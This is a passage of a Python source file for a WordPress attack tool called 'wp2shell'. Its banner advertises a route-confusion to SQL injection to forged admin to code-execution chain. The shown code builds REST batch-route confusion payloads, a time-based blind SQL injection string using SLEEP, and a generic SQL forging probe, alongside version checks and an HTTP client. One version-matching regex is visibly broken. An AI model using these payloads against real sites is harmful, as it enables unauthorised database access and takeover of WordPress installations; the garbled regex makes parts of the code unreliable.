_pad_vis(content, _BOX_W - 2) + violet(\"\u2502\")\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  CONFIG\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nTOOL_NAME = \"cyphrsec_wp2shell\"\nTOOL_VERSION = \"7.1.0\"\nCVE_ROUTE_CONFUSION = \"CVE-2026-63030\"\nCVE_SQLI = \"CVE-2026-60137\"\nSQLI_PARAM = \"author_exclude\"\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  BANNER\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n_ASCII = (\n    \".%%...%%..%%%%%....%%%%....%%%%...%%..%%..%%%%%%..%%......%%.....\",\n    \".%%...%%..%%..%%......%%..%%......%%..%%..%%......%%......%%.....\",\n    \".%%.%.%%..%%%%%....%%%%....%%%%...%%%%%%..%%%%....%%......%%.....\",\n    \".%%%%%%%..%%......%%..........%%..%%..%%..%%......%%......%%.....\",\n    \"..%%.%%...%%......%%%%%%...%%%%...%%..%%..%%%%%%..%%%%%%..%%%%%%.\",\n    \".................................................................\",\n)\n\n\ndef show_banner() -> None:\n    try:\n        os.system(\"cls\" if os.name == \"nt\" else \"clear\")\n    except Exception:\n        pass\n\n    print()\n    print(box_top(\"CYPHR SEC\"))\n    print(box_line())\n    for line in _ASCII:\n        print(box_line(\"   \" + violet(line)))\n    print(box_line())\n    print(box_line(\"   \" + pink(CVE_ROUTE_CONFUSION) + gray(\"  +  \")\n                   + pink(CVE_SQLI) + gray(\"  \u00b7  \") + white(\"WP2SHELL v7.1\")))\n    print(box_line(\"   \" + lav(\"chain: \") + mint(\"route confusion\")\n                   + gray(\" -> \") + amber(\"SQLi\") + gray(\" -> \")\n                   + cyan(\"UNION admin\") + gray(\" -> \") + lime(\"RCE\")))\n    print(box_line())\n    print(box_line(\"   \" + cyan(\"CyphrSec\") + gray(\"  \u00b7  \")\n                   + white(\"github.com/0xCyp1337\") + gray(\"  \u00b7  \")\n                   + cyan(\"@kingepepp\")))\n    print(box_line())\n    print(box_bot())\n    print()\n\n\nDEFAULT_USER_AGENT = f\"{TOOL_NAME}/{TOOL_VERSION} (authorized-security-validation)\"\nDEFAULT_MAX_BODY = 2 * 1024 * 1024\nDEFAULT_TIMEOUT = 10.0\nDEFAULT_RATE = 5.0\nDEFAULT_CONCURRENCY = 5\nMAX_CONCURRENCY = 32\nMAX_TARGETS_HARD = 1_000_000\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  ROUTE CONFUSION PAYLOADS\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nSAFE_ROUTE_CONFUSION_PROBE: Dict[str, Any] = {\n    \"validation\": \"normal\",\n    \"requests\": [\n        {\"method\": \"POST\", \"path\": \"http://:\"},\n        {\n            \"method\": \"POST\",\n            \"path\": \"/wp/v2/posts/0\",\n            \"body\": {\n                \"requests\": [\n                    {\"method\": \"GET\", \"path\": \"/wp/v2/posts?per_page=1&_fields=id\"}\n                ]\n            },\n        },\n        {\"method\": \"POST\", \"path\": \"/batch/v1\"},\n    ],\n}\n\n\ndef build_route_confusion_sqli_probe(\n    sql_payload: str,\n    *,\n    path: str = \"/wp/v2/categories\",\n    inner_dummy_path: str = \"/wp/v2/posts?per_page=1&_fields=id\",\n) -> Dict[str, Any]:\n    query = urllib.parse.urlencode({SQLI_PARAM: sql_payload})\n    target_path = f\"{path}?{query}\"\n\n    return {\n        \"validation\": \"normal\",\n        \"requests\": [\n            {\"method\": \"POST\", \"path\": \"http://:\"},\n            {\n                \"method\": \"POST\",\n                \"path\": \"/wp/v2/posts\",\n                \"body\": {\n                    \"requests\": [\n                        {\"method\": \"GET\", \"path\": \"http://:\"},\n                        {\"method\": \"GET\", \"path\": target_path},\n                        {\"method\": \"GET\", \"path\": inner_dummy_path},\n                    ]\n                },\n            },\n            {\"method\": \"POST\", \"path\": \"/batch/v1\"},\n        ],\n    }\n\n\ndef _timing_condition(delay: int, true: bool) -> str:\n    cond = \"1=1\" if true else \"1=0\"\n    return f\"0) AND (SELECT 1 FROM (SELECT IF(({cond}),SLEEP({delay}),0))x)-- -\"\n\n\ndef build_timing_probe(delay: int, true: bool) -> Dict[str, Any]:\n    return build_route_confusion_sqli_probe(_timing_condition(delay, true))\n\n\ndef build_forge_probe(sql: str) -> Dict[str, Any]:\n    return build_route_confusion_sqli_probe(sql)\n\n\nRETRYABLE_HTTP_STATUSES = {408, 425, 429, 500, 502, 503, 504}\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  DATA MODELS\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n@dataclass(frozen=True, order=True)\nclass WPVersion:\n    major: int\n    minor: int\n    patch: int\n    suffix: str = field(default=\"\", compare=False)\n    raw: str = field(default=\"\", compare=False)\n\n    @property\n    def tuple(self) -> Tuple[int, int, int]:\n        return (self.major, self.minor, self.patch)\n\n    @property\n    def stable(self) -> bool:\n        return not self.suffix\n\n    def __str__(self) -> str:\n        base = f\"{self.major}.{self.minor}.{self.patch}\"\n        return f\"{base}{self.suffix}\" if self.suffix else base\n\n\n@dataclass\nclass VersionEvidence:\n    version: str\n    source: str\n    url: str\n    confidence: float\n    detail: str = \"\"\n\n    def as_dict(self) -> Dict[str, Any]:\n        return dataclasses.asdict(self)\n\n\n@dataclass\nclass HttpResult:\n    requested_url: str\n    final_url: str\n    status: Optional[int]\n    headers: Dict[str, str]\n    body: bytes\n    elapsed_ms: int\n    error: Optional[str] = None\n    truncated: bool = False\n\n    def text(self) -> str:\n        content_type = self.headers.get(\"content-type\", \"\")\n        charset_match = re.search(r\"charset=([A-Za-z0-9._-]+)\", content_type, re.I)\n        encodings = [charset_match.group(1)] if charset_match else []\n        encodings += [\"utf-8\", \"latin-1\"]\n        for encoding in encodings:\n            try:\n                return self.body.decode(encoding, errors=\"replace\")\n            except (LookupError, UnicodeDecodeError):\n                continue\n        return self.body.decode(\"utf-8\", errors=\"replace\")\n\n    def as_summary(self) -> Dict[str, Any]:\n        return {\n            \"requested_url\": self.requested_url,\n            \"final_url\": self.final_url,\n            \"status\": self.status,\n            \"elapsed_ms\": self.elapsed_ms,\n            \"error\": self.error,\n            \"truncated\": self.truncated,\n        }\n\n\n@dataclass\nclass ActiveProbeResult:\n    attempted: bool = False\n    endpoint: Optional[str] = None\n    result: str = \"not-run\"\n    vulnerable_signal: bool = False\n    patched_signal: bool = False\n    http_status: Optional[int] = None\n    elapsed_ms: Optional[int] = None\n    error: Optional[str] = None\n    explanation: str = \"\"\n\n    def as_dict(self) -> Dict[str, Any]:\n        return dataclasses.asdict(self)\n\n\n@dataclass\nclass SqliProbeResult:\n    attempted: bool = False\n    result: str = \"not-run\"\n    vulnerable_signal: bool = False\n    patched_signal: bool = False\n    false_count: Optional[int] = None\n    true_count: Optional[int] = None\n    false_median: Optional[float] = None\n    true_median: Optional[float] = None\n    difference: Optional[float] = None\n    error: Optional[str] = None\n    explanation: str = \"\"\n\n    def as_dict(self) -> Dict[str, Any]:\n        return dataclasses.asdict(self)\n\n\n@dataclass\nclass ScanResult:\n    target: str\n    normalized_target: Optional[str] = None\n    final_target: Optional[str] = None\n    wordpress_detected: bool = False\n    wordpress_confidence: float = 0.0\n    selected_version: Optional[str] = None\n    version_confidence: float = 0.0\n    version_conflict: bool = False\n    version_evidence: List[VersionEvidence] = field(default_factory=list)\n    version_assessment: str = \"unknown\"\n    batch_route_exposed: Optional[bool] = None\n    active_probe: ActiveProbeResult = field(default_factory=ActiveProbeResult)\n    sqli_probe: SqliProbeResult = field(default_factory=SqliProbeResult)\n    verdict: str = \"UNKNOWN\"\n    severity: str = \"info\"\n    summary: str = \"\"\n    remediation: str = \"\"\n    errors: List[str] = field(default_factory=list)\n    requests: List[Dict[str, Any]] = field(default_factory=list)\n    scanned_at: str = field(\n        default_factory=lambda: dt.datetime.now(dt.timezone.utc).isoformat()\n    )\n\n    def as_dict(self) -> Dict[str, Any]:\n        return {\n            \"target\": self.target,\n            \"normalized_target\": self.normalized_target,\n            \"final_target\": self.final_target,\n            \"wordpress_detected\": self.wordpress_detected,\n            \"wordpress_confidence\": round(self.wordpress_confidence, 2),\n            \"selected_version\": self.selected_version,\n            \"version_confidence\": round(self.version_confidence, 2),\n            \"version_conflict\": self.version_conflict,\n            \"version_evidence\": [item.as_dict() for item in self.version_evidence],\n            \"version_assessment\": self.version_assessment,\n            \"batch_route_exposed\": self.batch_route_exposed,\n            \"active_probe\": self.active_probe.as_dict(),\n            \"sqli_probe\": self.sqli_probe.as_dict(),\n            \"verdict\": self.verdict,\n            \"severity\": self.severity,\n            \"summary\": self.summary,\n            \"remediation\": self.remediation,\n            \"errors\": self.errors,\n            \"requests\": self.requests,\n            \"scanned_at\": self.scanned_at,\n            \"tool\": {\"name\": TOOL_NAME, \"version\": TOOL_VERSION},\n        }\n\n\n@dataclass\nclass LocalResult:\n    wordpress_root: str\n    version_file: Optional[str] = None\n    selected_version: Optional[str] = None\n    version_assessment: str = \"unknown\"\n    verdict: str = \"UNKNOWN\"\n    severity: str = \"info\"\n    summary: str = \"\"\n    remediation: str = \"\"\n    errors: List[str] = field(default_factory=list)\n    scanned_at: str = field(\n        default_factory=lambda: dt.datetime.now(dt.timezone.utc).isoformat()\n    )\n\n    def as_dict(self) -> Dict[str, Any]:\n        return {\n            **dataclasses.asdict(self),\n            \"tool\": {\"name\": TOOL_NAME, \"version\": TOOL_VERSION},\n        }\n\n\n@dataclass\nclass ScanConfig:\n    timeout: float = DEFAULT_TIMEOUT\n    retries: int = 1\n    max_body_bytes: int = DEFAULT_MAX_BODY\n    verify_tls: bool = True\n    follow_redirects: bool = True\n    allow_cross_host_redirects: bool = False\n    proxy: Optional[str] = None\n    headers: Dict[str, str] = field(default_factory=dict)\n    user_agent: str = DEFAULT_USER_AGENT\n    rate_limit: float = DEFAULT_RATE\n    fingerprint_level: str = \"standard\"\n    active_probe: bool = False\n    rest_endpoint: str = \"both\"\n    include_request_log: bool = False\n    default_scheme: str = \"https\"\n\n\nclass ThreadLocalWriter(io.TextIOBase):\n    def __init__(self, fallback):\n        self._fallback = fallback\n        self._local = threading.local()\n\n    def set_buffer(self, buf: Optional[io.StringIO]) -> None:\n        self._local.buf = buf\n\n    def _buf(self) -> Optional[io.StringIO]:\n        return getattr(self._local, \"buf\", None)\n\n    def write(self, s: str) -> int:\n        buf = self._buf()\n        if buf is not None:\n            return buf.write(s)\n        return self._fallback.write(s)\n\n    def flush(self) -> None:\n        buf = self._buf()\n        if buf is not None:\n            buf.flush()\n        else:\n            self._fallback.flush()\n\n    @property\n    def encoding(self) -> str:\n        return getattr(self._fallback, \"encoding\", \"utf-8\")\n\n    def isatty(self) -> bool:\n        return False\n\n\n_TLS_STDOUT = ThreadLocalWriter(sys.stdout)\n_TLS_STDERR = ThreadLocalWriter(sys.stderr)\nsys.stdout = _TLS_STDOUT\nsys.stderr = _TLS_STDERR\n\n\nclass RateLimiter:\n    def __init__(self, rate_per_second: float):\n        self._interval = 0.0 if rate_per_second <= 0 else 1.0 / rate_per_second\n        self._lock = threading.Lock()\n        self._next_allowed = 0.0\n\n    def wait(self) -> None:\n        if self._interval <= 0:\n            return\n        with self._lock:\n            now = time.monotonic()\n            delay = self._next_allowed - now\n            if delay > 0:\n                time.sleep(delay)\n                now = time.monotonic()\n            self._next_allowed = max(now, self._next_allowed) + self._interval\n\n\nclass ControlledRedirectHandler(urllib.request.HTTPRedirectHandler):\n    def __init__(self, original_url: str, follow_redirects: bool,\n                 allow_cross_host: bool) -> None:\n        super().__init__()\n        self.original_host = (urllib.parse.urlsplit(original_url).hostname or \"\").lower()\n        self.follow_redirects = follow_redirects\n        self.allow_cross_host = allow_cross_host\n\n    def redirect_request(self, req, fp, code, msg, headers, newurl):\n        if not self.follow_redirects:\n            raise urllib.error.HTTPError(\n                req.full_url, code, \"redirect blocked by policy\", headers, fp\n            )\n        new_host = (urllib.parse.urlsplit(newurl).hostname or \"\").lower()\n        if not self.allow_cross_host and new_host != self.original_host:\n            raise urllib.error.HTTPError(\n                req.full_url, code,\n                f\"cross-host redirect blocked ({self.original_host} -> {new_host})\",\n                headers, fp,\n            )\n        return super().redirect_request(req, fp, code, msg, headers, newurl)\n\n\ndef _open_with_deadline(opener, req, timeout: float):\n    result: Dict[str, Any] = {}\n\n    def _worker() -> None:\n        try:\n            result[\"resp\"] = opener.open(req, timeout=timeout)\n        except Exception as exc:\n            result[\"exc\"] = exc\n\n    deadline = timeout + 5.0\n    t = threading.Thread(target=_worker, daemon=True)\n    t.start()\n    t.join(deadline)\n    if t.is_alive():\n        raise TimeoutError(f\"request deadline exceeded after {deadline:.0f}s\")\n    if \"exc\" in result:\n        raise result[\"exc\"]\n    return result[\"resp\"]\n\n\ndef _read_with_deadline(response, size: int, timeout: float) -> bytes:\n    result: Dict[str, Any] = {}\n\n    def _worker() -> None:\n        try:\n            result[\"data\"] = response.read(size)\n        except Exception as exc:\n            result[\"exc\"] = exc\n\n    deadline = timeout + 5.0\n    t = threading.Thread(target=_worker, daemon=True)\n    t.start()\n    t.join(deadline)\n    if t.is_alive():\n        raise TimeoutError(f\"read deadline exceeded after {deadline:.0f}s\")\n    if \"exc\" in result:\n        raise result[\"exc\"]\n    return result[\"data\"]\n\n\nclass HttpClient:\n    def __init__(self, config: ScanConfig, limiter: RateLimiter):\n        self.config = config\n        self.limiter = limiter\n        self._jar = http.cookiejar.CookieJar()\n\n    def _build_opener(self, url: str) -> urllib.request.OpenerDirector:\n        handlers: List[Any] = [\n            urllib.request.HTTPCookieProcessor(self._jar),\n            ControlledRedirectHandler(\n                url, self.config.follow_redirects,\n                self.config.allow_cross_host_redirects,\n            ),\n        ]\n        if self.config.proxy:\n            handlers.append(urllib.request.ProxyHandler(\n                {\"http\": self.config.proxy, \"https\": self.config.proxy}))\n        else:\n            handlers.append(urllib.request.ProxyHandler())\n\n        if url.lower().startswith(\"https://\"):\n            context = (ssl.create_default_context()\n                       if self.config.verify_tls\n                       else ssl._create_unverified_context())\n            handlers.append(urllib.request.HTTPSHandler(context=context))\n        return urllib.request.build_opener(*handlers)\n\n    def request(self, method: str, url: str, *, json_body: Any = None,\n                headers: Optional[Mapping[str, str]] = None,\n                data: Optional[bytes] = None,\n                retry: bool = True) -> HttpResult:\n        method = method.upper()\n        body: Optional[bytes] = None\n        request_headers = {\n            \"Accept\": \"application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.5\",\n            \"User-Agent\": self.config.user_agent,\n            \"Connection\": \"close\",\n        }\n        request_headers.update(self.config.headers)\n        if headers:\n            request_headers.update(headers)\n        if data is not None:\n            body = data\n            request_headers.setdefault(\"Content-Type\", \"application/x-www-form-urlencoded\")\n        elif json_body is not None:\n            body = json.dumps(json_body, separators=(\",\", \":\")).encode(\"utf-8\")\n            request_headers.setdefault(\"Content-Type\", \"application/json\")\n            request_headers.setdefault(\"Cache-Control\", \"no-store\")\n\n        attempts = self.config.retries + 1 if retry else 1\n        last: Optional[HttpResult] = None\n        for attempt in range(attempts):\n            self.limiter.wait()\n            started = time.monotonic()\n            req = urllib.request.Request(url=url, data=body,\n                                         headers=request_headers, method=method)\n            try:\n                opener = self._build_opener(url)\n                with _open_with_deadline(opener, req, self.config.timeout) as response:\n                    payload = _read_with_deadline(response,\n                                                  self.config.max_body_bytes + 1,\n                                                  self.config.timeout)\n                    truncated = len(payload) > self.config.max_body_bytes\n                    payload = payload[:self.config.max_body_bytes]\n                    elapsed = int((time.monotonic() - started) * 1000)\n                    result = HttpResult(\n                        requested_url=url,\n                        final_url=response.geturl(),\n                        status=getattr(response, \"status\", response.getcode()),\n                        headers={k.lower(): v for k, v in response.headers.items()},\n                        body=payload, elapsed_ms=elapsed, truncated=truncated,\n                    )\n            except urllib.error.HTTPError as exc:\n                try:\n                    payload = _read_with_deadline(exc,\n                                                  self.config.max_body_bytes + 1,\n                                                  self.config.timeout)\n                except Exception:\n                    payload = b\"\"\n                truncated = len(payload) > self.config.max_body_bytes\n                payload = payload[:self.config.max_body_bytes]\n                elapsed = int((time.monotonic() - started) * 1000)\n                result = HttpResult(\n                    requested_url=url, final_url=exc.geturl() or url,\n                    status=exc.code,\n                    headers={k.lower(): v for k, v in (exc.headers or {}).items()},\n                    body=payload, elapsed_ms=elapsed,\n                    error=str(exc.reason) if exc.reason else None,\n                    truncated=truncated,\n                )\n            except (urllib.error.URLError, TimeoutError, socket.timeout, ssl.SSLError) as exc:\n                elapsed = int((time.monotonic() - started) * 1000)\n                reason = getattr(exc, \"reason\", exc)\n                result = HttpResult(\n                    requested_url=url, final_url=url, status=None, headers={},\n                    body=b\"\", elapsed_ms=elapsed,\n                    error=f\"{type(reason).__name__}: {reason}\",\n                )\n            except Exception as exc:\n                elapsed = int((time.monotonic() - started) * 1000)\n                result = HttpResult(\n                    requested_url=url, final_url=url, status=None, headers={},\n                    body=b\"\", elapsed_ms=elapsed,\n                    error=f\"{type(exc).__name__}: {exc}\",\n                )\n\n            last = result\n            should_retry = (attempt + 1 < attempts\n                            and (result.status is None\n                                 or result.status in RETRYABLE_HTTP_STATUSES))\n            if not should_retry:\n                return result\n            time.sleep(min(0.5 * (2 ** attempt), 3.0))\n\n        assert last is not None\n        return last\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  VERSION DETECTION\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nVERSION_TOKEN_RE = re.compile(\n    r\"(?\\d{1,2})\\.(?P\\d{1,2})(?:\\.(?P\\d{1,3}))?\"\n    r\"(?P(?:[-._]?(?:alpha|beta|rc|nightly|dev)[A-Za-z0-9._-]*)?)\",\n    re.I,\n)\n\n\ndef parse_wp_version(value: Optional[str]) -> Optional[WPVersion]:\n    if not value:\n        return None\n    match = VERSION_TOKEN_RE.search(value.strip())\n    if not match:\n        return None\n    raw = match.group(0)\n    suffix = match.group(\"suffix\") or \"\"\n    return WPVersion(\n        major=int(match.group(\"major\")),\n        minor=int(match.group(\"minor\")),\n        patch=int(match.group(\"patch\") or 0),\n        suffix=suffix, raw=raw,\n    )\n\n\ndef assess_version(version: Optional[WPVersion]) -> Tuple[str, str, str, str]:\n    if version is None:\n        return (\"unknown\", \"UNKNOWN\", \"info\",\n                \"WordPress version could not be determined.\")\n    if not version.stable:\n        suffix = version.suffix.lower().lstrip(\"-._\")\n        if version.tuple == (7, 1, 0):\n            beta_match = re.fullmatch(r\"beta[._-]?(\\d+)\", suffix)\n            if beta_match and int(beta_match.group(1)) < 2:\n                return (\"affected-7.1-prerelease\", \"LIKELY_VULNERABLE\",\n                        \"critical\",\n                        f\"WordPress {version} predates the fixed 7.1 beta2 prerelease.\")\n            if (beta_match and int(beta_match.group(1)) >= 2) or suffix.startswith(\"rc\"):\n                return (\"fixed-7.1-prerelease\", \"PATCHED_VERSION\", \"info\",\n                        f\"WordPress {version} is at or later than the fixed 7.1 beta2 prerelease.\")\n        return (\"prerelease-unknown\", \"UNKNOWN_PRERELEASE\", \"medium\",\n                f\"Detected prerelease version {version}; compare it with the \"\n                f\"vendor's fixed build for that branch.\")\n\n    current = version.tuple\n    if (6, 9, 0) <= current < (6, 9, 5) or (7, 0, 0) <= current < (7, 0, 2):\n        return (\"affected-wp2shell\", \"LIKELY_VULNERABLE\", \"critical\",\n                f\"WordPress {version} is in the published affected range for \"\n                f\"{CVE_ROUTE_CONFUSION}.\")\n    if (6, 8, 0) <= current < (6, 8, 6):\n        return (\"affected-sqli-only\", \"VULNERABLE_SQLI_ONLY\", \"high\",\n                f\"WordPress {version} is outside the WP2Shell route-confusion \"\n                f\"range but is in the affected range for the standalone \"\n                f\"{CVE_SQLI} flaw.\")\n    if (6, 8, 6) <= current < (6, 9, 0):\n        return (\"fixed-6.8-branch\", \"NOT_AFFECTED\", \"info\",\n                f\"WordPress {version} includes the 6.8-branch SQL injection \"\n                f\"fix and is outside the published route-confusion range.\")\n    if (6, 9, 5) <= current < (7, 0, 0):\n        return (\"fixed-6.9-branch\", \"PATCHED_VERSION\", \"info\",\n                f\"WordPress {version} is at or above the fixed 6.9.5 release.\")\n    if (7, 0, 2) <= current < (8, 0, 0):\n        return (\"fixed-7.x-branch\", \"PATCHED_VERSION\", \"info\",\n                f\"WordPress {version} is at or above the fixed 7.0.2 release.\")\n    if current < (6, 8, 0):\n        return (\"outside-published-range-old\", \"NOT_AFFECTED_BY_THESE_CVES\",\n                \"info\",\n                f\"WordPress {version} is outside the published affected ranges \"\n                f\"for these two CVEs; other vulnerabilities may still apply.\")\n    return (\"outside-published-range\", \"NOT_IN_PUBLISHED_AFFECTED_RANGE\",\n            \"info\",\n            f\"WordPress {version} is not in the vendor-published affected \"\n            f\"ranges; confirm vendor support for this branch.\")\n\n\ndef normalize_target(raw: str, default_scheme: str = \"https\") -> str:\n    value = raw.strip()\n    if not value:\n        raise ValueError(\"empty target\")\n    if any(ord(char) < 32 for char in value):\n        raise ValueError(\"target contains control characters\")\n    if \"://\" not in value:\n        value = f\"{default_scheme}://{value}\"\n    parts = urllib.parse.urlsplit(value)\n    if parts.scheme.lower() not in {\"http\", \"https\"}:\n        raise ValueError(\"only http and https targets are supported\")\n    if not parts.hostname:\n        raise ValueError(\"target has no hostname\")\n    if parts.username or parts.password:\n        raise ValueError(\"credentials in target URLs are not accepted; \"\n                         \"use an explicit header only when authorized\")\n    path = parts.path or \"/\"\n    final_segment = path.rsplit(\"/\", 1)[-1]\n    if final_segment and \".\" in final_segment:\n        path = path.rsplit(\"/\", 1)[0] + \"/\"\n    elif not path.endswith(\"/\"):\n        path += \"/\"\n    host = parts.hostname\n    assert host is not None\n    try:\n        host_ascii = host.encode(\"idna\").decode(\"ascii\")\n    except UnicodeError as exc:\n        raise ValueError(f\"invalid internationalized hostname: {exc}\") from exc\n    if \":\" in host_ascii and not host_ascii.startswith(\"[\"):\n        host_ascii = f\"[{host_ascii}]\"\n    netloc = host_ascii\n    try:\n        port = parts.port\n    except ValueError as exc:\n        raise ValueError(f\"invalid target port: {exc}\") from exc\n    if port:\n        netloc += f\":{port}\"\n    return urllib.parse.urlunsplit((parts.scheme.lower(), netloc, path, \"\", \"\"))\n\n\ndef endpoint_url(base: str, kind: str) -> str:\n    if kind == \"home\":\n        return base\n    if kind == \"feed\":\n        return urllib.parse.urljoin(base, \"feed/\")\n    if kind == \"readme\":\n        return urllib.parse.urljoin(base, \"readme.html\")\n    if kind == \"rest-query-index\":\n        return f\"{base}?rest_route=/\"\n    if kind == \"rest-query-batch\":\n        return f\"{base}?rest_route=/batch/v1\"\n    if kind == \"rest-pretty-index\":\n        return urllib.parse.urljoin(base, \"wp-json/\")\n    if kind == \"rest-pretty-batch\":\n        return urllib.parse.urljoin(base, \"wp-json/batch/v1\")\n    raise ValueError(f\"unknown endpoint kind: {kind}\")\n\n\ndef parse_headers(values: Sequence[str]) -> Dict[str, str]:\n    parsed: Dict[str, str] = {}\n    for item in values:\n        if \"\\r\" in item or \"\\n\" in item:\n            raise ValueError(\"header values must not contain CR/LF\")\n        if \":\" not in item:\n            raise ValueError(f\"header must be in 'Name: value' form: {item!r}\")\n        name, value = item.split(\":\", 1)\n        name = name.strip()\n        value = value.strip()\n        if not name:\n            raise ValueError(\"header name cannot be empty\")\n        parsed[name] = value\n    return parsed\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  FINGERPRINT / EVIDENCE / ACTIVE PROBE\n# 